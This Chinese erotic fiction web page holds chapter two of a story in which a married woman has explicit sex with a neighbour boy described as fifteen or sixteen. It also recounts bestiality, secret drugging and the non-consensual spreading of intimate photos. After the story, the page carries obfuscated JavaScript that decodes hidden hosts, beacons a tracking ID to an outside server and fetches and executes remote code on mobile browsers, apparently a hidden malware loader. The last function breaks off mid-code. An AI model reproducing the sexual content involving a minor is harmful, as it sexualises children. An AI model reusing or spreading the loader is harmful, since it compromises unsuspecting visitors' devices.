图片载入中

成人店的骚货(1-2)

特大字】 【大字】 【中字】 【小字

(二)

上楼的时候,我还沉浸在之前的刺激中不可自拔,虽然胯下羞处已经被折腾得惨不忍睹,但一想到这几个小时发生的事情,特别是老色狼那色迷迷的眼神和帅小伙那暴虐的动作,我又情不自禁的湿了。没走几步,就浑身软绵绵的,只能勉强扶着扶手一拖一拐的上楼梯。

可就当我走到三楼的时候,猛地往下一看,二楼楼梯口正站着一个十五、六岁的大男孩,手里拎着一袋水果,那是我家对面的邻居,貌似正在上初中。只见他张大着眼睛从下面往上望着,顺着他的目光,我才发现,我下身那条仅仅遮住我半截大腿的短裙,完全就是个摆设!而且更关键的是,老色狼压根就没给我穿内裤,我羞得赶紧并拢大腿,可这一摩擦,让原本就处在兴奋状态的我更加不好受了。

好勉强我才走上四楼的家门口,可不知怎么的,我却突然站在原地犹豫了起来。不一会,男孩也上楼了,我回头看了他一眼,只见他原本盯着我看的眼神忽然害羞的东张西望起来,战战兢兢的掏出钥匙开门。

一瞬间,我看到了他胯下高高搭起的帐篷,尺寸还真不小!可能之前真的被干得太刺激了吧,我竟没来由的兴奋了起来,胯下是越来越湿,淫汁可能都顺着大腿滴下来了。想像着自己此刻的丑态,心想自己难不成真被那老色狼和帅小伙操成骚货了?差点忘了,刚才我可是被两只大狼狗夹着狠操了一顿,现在倒害起羞来了?

想到这,我大着胆子,用尽可能酥麻的声音说道:“小弟弟,请姐姐进去喝杯水好吗?”

“我……我爸妈在……”男孩紧张的说道。

正当我有些失望,准备开门进去找老公的时候,男孩又接着说道:“不过,我……我没钱……”

我差点“噗哧”一声笑出来,原来他把我当成妓女了。不过想想,自己这样子哪里像个良家妇女了,索性就风骚的扭了扭身子,用嗲到不能再嗲的声音说:“姐姐不要你钱。咯咯!”

“那……那……我爸妈在家,我们……小声点……”男孩毕竟是男孩,面对我这么一副诱人的身子,哪能控制得住?

于是我们就像贼一样蹑手蹑脚的走了进去。男孩打开房门,几乎颤抖着说:“我爸妈在那边,我刚才也是偷偷下去买水果的。”

他爸妈的房间和他的房间还隔着一个小客厅,还不错,隔着一个房间的话,等会就能稍稍叫得大声点了,不然憋得可就难受了。

我妩媚的瞪了他一眼,一屁股坐到了他的床上,男孩轻轻的关上房门,竟真的给我倒水去了。

“你怎么……里面都不穿?”男孩轻声说道。

我下意识的看了眼张开的大腿深处,那里早已一塌煳涂,甚至还有之前残留的精液在洞口,当然,至于这是人的精液还是狗的精液我就分辨不清了。一想到这,我就没来由的一阵激动,可惜对方可能因为胆小,就是不敢进一步动作,搞得我是欲火焚身。一不做二不休,我一扭腰,翻了个身,四肢朝下,又翘起那丰满的肥臀,假装鼓捣起手机。

发现我的手机桌面竟已经换了,换成我在成人店被干的照片了,而且还是最羞耻的那种。只见我像头母狗般趴在地上,正被一头大黑狗干着,老色狼则站在前面,正好对着我的脸淋尿,这老家伙还真有本事,这也干得出来!不过我竟然丝毫没有察觉,可见当时我被操得有多兴奋了,鬼知道他们还对我干了什么! 正当我回味在之前的余韵中时,一根滚烫的东西忽的靠近了我,没等我反应过来,已经畅通无阻的冲了进来,感觉滑不熘丢的。一不留神,男孩的家伙已经整根捅了进来,我不由自主地发出一声娇吟,果然尺寸不小,我内心不由得意起来,今晚遇到的可都是大家伙啊!

男孩一手抱着我的肥臀,一边又节奏的抽送起来,看不出来居然不是处的,还懂得七浅一深呢!

我风骚的转过头,对着他一阵浪笑:“原来已经做过坏事啦?”

男孩对上我火热的眼神,又害羞了起来,挠了挠头道:“我……和女朋友试过。”

“都有女朋友啦?现在的孩子真好呢!”我淫荡的吐了吐香舌道:“她和姐姐,哪个舒服呢?”一边说,我一边摇起肥臀作为回应。

“当然……当然……姐姐舒服了。”

“为什么呢?”我故意调戏道。

“因为……因为姐姐好会摇……叫……叫声又……又……”

“叫得又骚,是不?”

男孩点了点头,下面可没闲着,粗大的肉棒一下又一下的刺激着我,害我说话都断断续续的:“不……过,姐……姐……还……还……以为你是第……一次呢!”

“姐姐……想要处男的话,我可以找我的那些同学。”

“那些同学?”听到这,我竟更加兴奋了:“那你想把姐姐给你那些同学玩啊?”

“不是的……”男孩激动得竟连下面都顾不上插送了,还是我主动送上门,撅着肥臀前后动了几下,他才继续抽送起来。

“咯咯……咯咯……”我不忍心继续调戏他,摇了摇屁股,他马上知趣的加快了速度。

“姐姐叫米蓉蓉?”男孩突然问道。

“你怎么知道?”我好奇的问道。

“姐姐后面写着呢!”

“啊?”我惊讶的叫了一声:“写着什么?”

“我看看,姐姐抬高一点。”

我顺从的抬高肥臀。

“里面还是看不清。”

小家伙不知道是有意还是无意的,我歪着头无限妩媚的回头瞪了他一眼,但我还是顺从地用双手将丰满的肥臀大大的掰开,虽然灯光不是很亮,不过我胯下的旖旎应该已经一览无遗了吧!今天晚上,那里实在被太多东西光顾过了,刚才又被他猛捣了一通,估计洞口都合不拢了。

我就这么羞耻的翘着屁股,掰着肥臀,将毫无遮掩的私密处对着身后的小男孩。

“公……厕。”男孩看了好一会,才蹦出两个字,但光这两个字,就听得我全身泛起异样的快感。

“被狗操……过的骚货,米蓉蓉。”

天哪!他们竟然在我肥臀上写着这些字,这要被我老公看到,真不知道他怎么接受得了。虽然今天去那个成人店,原本就是两人合计好的,但原计划只是由我来勾引店里的老板,引诱他的同时又提高自己的性趣,当然,也可以满足老公那所谓的淫妻爱好。最坏的情况就是吃亏点,让那个老板尝尝鲜。

一般来说,这种店里的老板都是年纪挺大的那种,十有八九的蜡枪头,碰到我这样的女人,别说一二三,估计也是分分钟交货的料。这样一来,我和老公的性趣也挑逗起来了,然后我们就趁着夜色到附近的公园里打上一场野战,别提有多刺激了!

结果,年纪大是猜到了,没猜到的是,老色狼居然那么经验丰富,又是偷偷给我涂春药,又是各种器具伺候,想必折在他手上的小姑娘应该也不在少数了。可怜我这么一个新婚少妇居然还主动送上门,正巧不巧还碰上一个长相完全符合我心中白马王子形象、床上手段又是极为粗暴强横的帅小伙,最后被玩到不知东南西北,不但身上唯一一块处女地——臀眼被人强行开苞,最后甚至发春到张着腿和狗交合起来。

“姐姐和狗做过?”男孩的话打断了我的思绪,也让给我稍稍清醒了过来。 “那是大人们瞎写的。”我毫无头绪的冒出这么一句话:“还写什么了?” “我看看。”男孩伸手将我已经大大张开的臀部用力又掰开了些:“字是没了,不过……”

“不过什么?”

“里面……好像已经一塌煳涂了,都合不拢了,我女朋友的不是这样的。” “那你女朋友里面什么样?”

“她的很小,是一条缝,姐姐这里……是一个洞,还不停地一张一缩,好多汁都在往外流。颜色也不一样,她的粉一些,姐姐的……黑一点。”

“讨厌,姐姐还不是被你折腾成这样的。”我被他说得竟脸颊有些发烫,接着道:“那你喜欢谁的啊?”

“当然是姐姐的,姐姐这里好滑,还一缩一缩的。”

“咯咯……既然喜欢,那你就用实际行动让姐姐看看。”不知怎么的,我被这个小男孩的话说得欲火高涨,难道之前的春药还没失效?

“噢……”来不及多想,我就满足的发出一阵呻吟,微张着的洞口被硕大的龟头缓缓地挤开。小小年纪居然就有这么大的本钱,比我老公可强多了。

之前进入得太快,我里面又被射得太多,太滑了,所以还感觉不到,这次缓慢的进入,发现男孩的龟头好大啊,比之前看到的尺寸还要凶上三分。我最喜欢的,就是被粗大的龟头缓缓进入的感觉。

娇嫩的小穴在巨根的进入下不断张开,直到完全包含住的过程,是我最最享受的,那是一种征服与被征服的关系,这种关系无关年龄,就像现在,我趴在床上,头无力地靠在被单上,双手扶着自己的肥臀用力张开,一个小我十岁左右的小男孩,正居高临下的准备再次享用我的蜜穴。

思绪间,男孩的龟头已经突破了我所有的防线,“噗哧”一声挺了进去,里面是一片完全不设防的软肋,面对一根气势汹汹的大鸡巴,即便它的主人只是个小男孩,依然在瞬间就丢盔弃甲,缴械投降,伴随着的,则是我那动人心弦的叫床声。

可好戏才刚刚开始,他并不会因为我的不战而降就停止下来,反而是越战越勇,变得更粗更大的肉棒毫不客气的在我羞处肆虐了起来,撞击我肥臀的声音也越来越大,就像摇旗助威般眼睁睁的看着我任他蹂躏。

男孩的幅度越来越大,抽出、插入,龟头一次次的穿梭在我的洞口之间,我也试图摇摆起自己那杀伤力十足的肥臀,但我清楚,这样只能更加刺激男人的兽欲,就如同我的叫床声一样,“亲哥哥,亲老公,插死我了”,这些话换来的只能是男人更加凶狠的抽送。

我的手机还开着,整整十分钟,以我的经验来看,男孩的节奏都把握得还算不错,该深的时候不会太浅,该浅的时候不会太深,虽然动作稍显生涩,但那根大鸡巴实在太凶了,好几次都顶到了我的花心里,这要再历练几下,可能就是第二个帅小伙了!

一想起帅小伙,我的下面就湿得更厉害了,其实下面已经湿透了,只是想起他的粗暴,我就一阵心动,这一心动,直接导致的结果就是我的全线失守——可能是想起之前那些淫戏,我叫得更骚了的缘故吧,男孩抓着我的肥臀,狠狠地往前顶,一下!两下!三下……整整十下,粗大的龟头连续顶到了我的花心深处,将我送上了天。

当然,这里有帅小伙的一分功劳,因为我清楚地记得,当想起帅小伙今晚对我的暴虐时,我的叫床声明显变得更骚了。在我的刺激下,男孩也忽然像找到了节奏,动作不再生涩,而是一下下直达花心的猛冲,换来的则是我愈加放荡的淫叫声。

整整七下,我的花心被龟头毫无遮掩的突击着,一下比一下深,一下比一下狠。等到第十下冲刺直捣花心后,我浑身颤动起来,高潮来了,而且来得十分迅猛,因为我感觉到体内的淫荡被那一下冲刺彻底搅散了,随着肉棒的后退紧跟而出,龟头前脚刚刚离开我的小穴,一股淫汁也几乎的同一时间喷射而出!

噢!我被这个小男孩搞得潮吹了!连老公这个在我身上不知进出过多少万次的男人都很少能做到,仅有的几次还多数都是靠家里那几件器具协助,这个几乎没什么经验的小男孩居然做到了,还真是英雄出少年!

大概喷了五、六下,我那颤抖的双腿无力地软了下来。回头看了眼男孩,首先映入眼帘的是一根青筋毕露的大鸡巴,然后是小男孩那张惊讶的脸。其实我好像和他说不要停,继续插,难得能把我搞到潮吹还那么坚挺,这么好的机会就该狠狠地继续插进去,就像帅小伙那样,管我浪成什么样,什么高潮,什么潮吹,该狠的时候就该狠嘛!

可能我真的被一个男人用一根鸡巴给征服了,因为从来没有人搞我的时候会那么狠,那么粗暴,那么不顾及我的感受,可我偏偏那么贱,到了这时候,居然还念念不忘。我知道,那个成人店,我一定还会去光顾的,只是不知道下次去的时候,他们会用什么来招待我呢?噢……想到这就觉得刺激,那个老色狼的春药真是厉害,到现在我还在胡思乱想。

就在这时,屋外的灯忽然亮了起来,别说是小男孩,连我都吓得半死!在外面打个野战,一不小心被人发现,就当是增加情趣,反正谁也不认识谁,可这邻里邻居的,要让他的父母看见我这个样子勾引他儿子,天知道会发生什么,估计这个小区都待不下去了。

没等我反应过来,门外一个女人的声音随着脚步声一同传了过来:“儿子,这么早起来在干嘛?刚才是什么声音?”男孩的妈妈边说边走近。

张着腿被搞到潮吹,天知道我刚才叫得有多么大声,却忘了这是在别人的家里。眼看他妈妈就要开门而入,我急得六神无主,现在这副样子,什么解释都是白搭。还是男孩机灵,一把将我搂到怀里,一拉被子,整个都盖了起来。几乎在同一时间,我听到了开门的声音。

“刚才是什么声音?”男孩的妈妈询问道。

“没有啦!妈,我想起来看会书。”

“没有玩电脑么?是不是又在看些不三不四的东西?”

“我没有,我电脑都没开。”

听着母子两的对话,我一动都不敢动,可男孩偏偏转了转身子,只觉得脸颊一阵发烫,一根散发着滚滚热气和男子气息的巨根不偏不倚的正好顶到了我的嘴唇,只觉男孩的龟头在触碰的瞬间猛地又变大了少许,虽然在被窝里看不见,但我可以想像这根几分钟前刚刚把我操到潮吹的鸡巴,此刻是何等可怖。

不想还好,一想,我的内心又是一阵悸动!明明才高潮过,怎么这么快又发春了?有时我不得不担心自己的性欲,每次只要稍加挑逗就会春心氾滥,没男人也就罢了,忍一忍就过去,实在忍不住时大不了自己抠一下,可偏偏身边又有这么一根粗大的肉棒,而且显然因为还没得到发泄,变得比平时更具杀伤力。 也顾不得被子外面还有人,我张开小嘴,伸出香舌,轻轻的在龟头上舔了一圈,明显感觉到男孩的身体抖了好几抖。

“跟你说过了,看书的话不要开台灯,对眼睛不好。”只听男孩的妈妈往床头走了过来,可我偏偏在这个时候一口含住了男孩的龟头。

“哎哟!”男孩忍不住叫了一声。

“怎么了?”只听男孩的妈妈吧台灯一关,又打开了大灯。

“没……没什么……妈妈你去睡吧!”

“嗯,看你,被子也不知道盖好。”

“没事……没事……我自己来,你去睡吧!”男孩微微起身,整了整被子,我瞟见他妈妈弯着腰竟正准备整被子。

“那你看书吧!”直到听到关门的声音,我悬着的心才稍稍安定下来,也顾不得还盖着被子,就着微弱的灯光,大胆地吸吮起眼前的巨根。

直到男孩翻开被子,刺眼的灯光射入,我才看清眼前的肉棒,已经怒涨到不可开交的地步了,不但青筋毕露,硕大的龟头还不住地一颤一颤,凶相尽显。这么厉害的东西但凡今天要是长在一个成年人的身上……想到这,刚刚被收拾到喷汁的小浪穴不由又春心荡漾起来,稍稍停止没多久的淫汁依稀又开始往外流淌。 身为这巨根的主人,男孩显然还没从刚才的查房中反应过来,双眼还怔怔的望着外面,直到被我的香舌一阵舔舐,才随着一声舒爽的喘息将目光收回到我娇嫩的身子上。

面对这么一根尺寸惊人的肉棍,我可以说使尽浑身解数,双手配合着小嘴,继续将其往极限指引。男孩的喘息声越来越重,肉棒几乎达到了一个它所能承受的最大限度。

“让姐姐再飞一次。”

我的语音刚落,男孩出人预料的伸出双手,一把握住我的两个脚裸把我掀翻在床,并且略带粗暴的将我修长的双腿往两边大大张开,一个起落,男孩就将我压在了身下。紧接着我只感觉到一股热气慢慢接近,微张着的洞口已经被怒涨的阳具顶开,只感到一股暖流直通全身,柔嫩的羞处已经被这个看上去斯斯文文的小男孩连根拔起了。

几乎连一秒钟都没有忍住,淫荡的叫床声就再次从我小嘴里喊了出来,男孩早有经验,一把摀住我的小嘴,整个人几乎骑到了我的身上,一顿狂插,比起之前略带生涩的经验,显得更加凌乱,没了任何节奏,有的只是勇往直前的觉悟。 我却被这种简单粗暴的行为弄得淫乱不堪,被捂着的小嘴不断发出阵阵低沉的吼叫。小男孩刚才那几下动作简直就是无师自通,和那个帅小伙还真有几分相似,虽然火候差了不少,但让我心头再次一阵悸动!

潮吹的余韵还没完全退去,又开始承受这么猛烈的袭击,没几下我就渐渐不支起来,虽然隔得时间不久,但这种完全被动的挨插,很自然地让我想起了几小时前的疯狂。

原本以为必须等到下次再去那个成人店的时候才能重新回味这种刺激,没想到仅仅一个前后,我就在对面邻居的儿子的床上重新温习了一遍,即便没有之前那么疯狂,但这种被别人完全压制,高潮未退马上又要被送上高潮的感觉,是我之前从来没有经历过的。

大鸡巴肆无忌惮地在我的粉嫩处自由进出,淫汁已经浪了一地,美得我摇头晃脑,脑袋里一片空白。可就当我正准备迎接唿之欲出的高潮时,男孩忽然兴奋的乱颤起来,凶悍的龟头在拔出后一个狠狠的冲刺,抵达了我的花心,但却没有再出去,而是停留在我的花心深处。

硕大的龟头再度勃起变大,一张一缩的频率逐渐变快,猛地一个伸缩,一股浓稠的精液喷射而出,全部灌入了我的花房。最淫靡羞耻的地方被浇灌了七、八下,虽然爽得我浑身抖动,但终究还是离高潮差了一截。

可能被我挑逗得太厉害了,也可能是经验毕竟不足,小男孩显得太急了,这次仅仅支撑了一两分钟,但却一停不停地抽送了一百多下,最后几下已经明显直抵花心了,只要再来个一分钟,不,说不定只要十来下,我就死去活来了。 男孩夸张的喘着粗气,估计他这辈子也忘不了今晚的感受,怎么平日里那么漂亮的邻居姐姐,突然就变得这么大胆风骚呢?射精过后清醒过来的他,心里一定是这么想的吧!

当男孩拔出肉棒,还羞耻地张着腿的羞处没有留下一丝精液,但我能清楚地感受到体内那一腔热气。直到男孩松手,我的双腿无力地倒在床上,那乳白色才不断地溢出,好浓稠的精液,而且好大量!

“死人精,把姐姐折腾死了。”我狼狈的翻了下身,道:“帮姐姐把后面的字擦掉,可不能让姐姐的老公看到哦!我包里应该有纸。”记得出门的时候,包里是有放纸的。

男孩从沙发上找到了我的包,刚才他妈妈幸好没看到,只见他鼓弄了半天,又把包拿了过来。我正无力地躺着休息,看见男孩拿着拉开拉链的包对着我,里面放着的竟全是情趣用品,什么跳蛋、肛门塞、假鸡巴,映入眼帘的全是这类东西。又是那个老色狼和帅小伙搞的,老色狼倒也豁得出去,这么多东西也值好几个钱吧,但比起我这么一个美艳的新婚少妇,他可是赚大了。不过,这下我在小男孩眼里,淫荡大姐姐的名号算是实至名归了。

“这些是买给姐姐的老公的。”我随口说道。

男孩一副原来如此的表情,忽然说道:“是不是哥哥他阳痿啊?所以才要用这些东西。”

面对男孩的话,我有些哭笑不得,花枝乱颤的笑着道:“嗯嗯嗯,哥哥他那方面有点问题,所以才买这些。”不知老公听到这些是什么感受?

“但我觉得,大男人就应该真枪实干,像我刚才那样,把姐姐弄到潮吹才是真本事。”

看着男孩一副正义凛然的样子,我“噗哧”一声笑了出来:“你还知道姐姐刚才那叫潮吹啊?”

男孩害羞的摸了摸头,结结巴巴道:“我……我……我经常偷偷看那些网站的。”

“原来也是个坏家伙,咯咯……快帮我擦掉吧!”

男孩应了一声,才帮我把肥臀上那几个羞耻的字擦去。

“帮我看下外面客厅有人没,姐姐要回去啦!”

男孩听话的出去打探了一下,我整了整衣物,已经七点了,再不走,他爸妈起来可就麻烦了。小家伙一直送我到门口,临关门前,小声的说道:“姐姐,如果……如果哥哥不能满足你,我……我行的。”我“噗哧”笑了一声,点点头。 站在家门口,深唿了一口气,今天晚上,算是把我淫乱的本性完全展示了出来。从大学开始,我虽然不像闺蜜张倩那样,是所有男生口中相传的浪蹄子,但出众的相貌和大胆的作风也难免遭到非议,老公后来和我说过,在他们宿舍的八卦中,我算是勉强够得上黑木耳这个级别。

说到黑木耳这个时下流行的词语,张倩却十分喜欢,甚至连QQ名都改成黑木耳了,美其名曰:好钓凯子!当初她在得知我要嫁给我老公时,就调笑我是在丢她们黑木耳的脸,说怎么也得找个高富帅。其实我又何尝不想呢?可那些高富帅、富二代个个都是花花公子,没一盏省油的灯。

在我大三那年,大我两岁的老公在和我仅仅交往了半年时就毕业离校,那一年,我前后找过三个高富帅,结果一律把我骗上床后没多久就没了下文。这里我要点名鄙视下那个刘XX!不就是下午三点认识,晚上六点就迷迷煳煳地上了你的床么,有那么好得瑟吗?到处吹嘘自己多有能耐。

第二天他就把和我拍的床照四处传播,虽说脸部打了马赛克,但你不知道姐姐我背上纹着一朵小花么?别人不知道,和我上过床的哪个不一眼就能认出来?这一传十、十传百的,好不容易勾搭上的另一个还算纯情的高富帅,在看到床照的第二天就和我分手了,真是害死姐姐我了!

后来我才知道,原来这个刘XX在泡我之前,刚把仅仅交往了一个多月的张倩给甩了,说是交往,其实就是约炮,按张倩的说法,就是白让他玩了一个月,头一次就一个洞都没拉下!

我当时表示很质疑,因为刘XX的功夫实在不咋地,下面的家伙更是连及格线都没达到。和我上床那晚,晚上一次,早上一次,算是勉强凑活个一夜两次,但两次加起来都没超过半个小时,其中起码有25分钟是前戏,标准的早泄男!这样的男人,一晚上能把张倩这样的浪蹄子三洞全开,我才不信!

“呸!”记得张倩满口鄙夷的说:“他就是个蜡枪头,光有满肚子的花花肠子,就是没真能耐,头一次上我的时候非逼着我戴眼罩,没弄多久,臀眼一热,让人夹了个三明治,我赶紧取下眼罩,结果小嘴也来了一根热腾腾的。可怜老娘我头一次4P就这么不明不白折了,而且折在一个刚认识没多久的花花公子和两个完全不认识、长相也寒碜的男人手里。”

记得当初听到张倩说这一段时,心里那是七上八下的,什么肛交、3P,对于当时的我来说还是非常遥远的事,只是没想到时过境迁,几年后的今天,还是走出了这一步!

知道连张倩这样的情场老手都被刘XX白玩一个多月后一脚踹掉,我就有了自知之明,对于这种风流成性的高富帅,不再报以多大的希望,反而和之前一直被我视作备胎的明,也就是我现在的老公越走越近,没过多久就同居了。

同居后,用张倩的话,就是深陷牢笼,原本的条条大道,变得只剩下结婚和被甩两条路可走。不过好在老公对我一直很好,婚前更是让我意外发现了老公竟有隐藏在心底的淫妻癖好!因为他竟在一个成人论坛上写过好几篇淫妻文,其中的淫妻更是大胆地启用了我的真名——蓉蓉,头一次看老公的色文,居然看得我不可自拔,完全把自己代入了角色之中。

老公为了掩盖他的狼狈,在论坛上摘录了好几篇出名的淫妻文,为的就是证明,像他这样喜爱淫妻的可不止他一个,我则照单全收,把那些经典的文章看了个遍,以此为契约。

我和老公的感情迅速升华,他不再遮掩他的淫妻癖好,我也大胆的不再假装淑女,不但将以前和别的男人的艳事和盘托出,更和老公破天荒的拍了不少香艳的床照上传到了论坛上,一同欣赏着网友们各式各样的品论,有赞赏的,有粗俗的,但无一不让我们激动万分。

昨晚就是如此,有个叫“低调”的网友主动Call我老公,说看了我们的自拍,完全被我的风骚给迷住了,还说他的鸡巴有多大多大,如果我被他整上一次,保证我再也离不开他。其实这样的信息我们一天都要收到好多,可他偏偏还发了好几张照片过来,照片中的女孩我们都认识,其实也说不上认识,因为根本没见过面,只是论坛里的好友。

那女孩叫“小狐狸”,同是论坛自拍区的红人,和她老公也拍过不少照片,我们也都欣赏过,可这次那几张我们却没啥印象。低调说那是前几天才拍的,照片中的男人就是他,而拍照的才是小狐狸的老公,他们这已经是第二次见面了。 第一次的时候就他和小狐狸,在论坛中相识后相约在现实见面,结果在宾馆中大战了三百回合,可把小狐狸整爽了,可惜忘了拍照。结果没几天,他们夫妻就主动找上他,才有了第二次。还说我们如果不信,可以和他视频,和照片比对下就知道是不是了!

当时我和老公情欲已经明显高涨了起来,没想到小狐狸居然可以从网上发展到现实,还带上自己的老公。同为淫妻癖的老公别提有多兴奋了,当即就和低调视频了。果然和照片中的一样,低调大谈和小狐狸的两次开房,说得绘声绘色,老公和我都被说得荡漾了起来,结果一激动,就有了成人店这么一段。

没想到这一玩居然玩了一个晚上,我推门而入,卧室中,老公一个人躺在沙发上睡着了,边上有好集团纸巾,上面明显还留有干涸的精液,沙发前的电脑上是他正在写的一篇新文,不用说,是关于淫妻的。

可怜的老公,自己老婆在外面让人玩得七荤八素,自己却只能躲在电脑前靠着想像打飞机,真是有够惨的。本来作为老婆,我应该好好安慰他一下的,可惜下面已经有些胀痛,只好一个人去洗了澡,打算好好休息下,难得的星期天,可得睡个大懒觉!

洗完澡,老公已经醒了,看到我回来,显得格外的兴奋,连声问我昨晚怎么了,有没有让那个老色狼弄进去?原来在我进那个格子间试用没多久,他就被公园的保安当成贼抓了起来,后来我被老色狼调戏干进去的时候,他根本没听到。 我心想,你老婆不但让那个老色狼干了,还被一个不认识的帅小伙把臀眼给开了,人生中第一次3P也稀里煳涂的贡献了出去,不但如此,连兽交这种事,你老婆我也尝试了。不过这些可不准备告诉他,别说他了,连我自己此时都有些不能接受,当时怎么就那么浪呢!

我瞎编道,什么不想那么容易让那个老色狼得手,大晚上的又是看电影、逛街、约会,到了半夜,实在被挑逗到不行了才让他得手。边说我又打开我的包,笑嘻嘻的说拿回了好多战利品,老公一看那些器具,眼睛都直了,一件件的拿着观赏,当他发现有一个电动阳具上还残留着丝丝液体时,兴奋得无以复加,要不是今日他单位有事,指不定当场就要将我就地正法。

这时,闺蜜张倩忽然来了个电话,这浪蹄子最近开了小型按摩店,我还一直没去拜访过,今天周日,虽然累得够呛,不过还是经不住她的邀请,决定拖着疲惫的身子去看看她。


上一篇:青春之“到老师家补课,真好”

下一篇:公车上的小可爱


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var 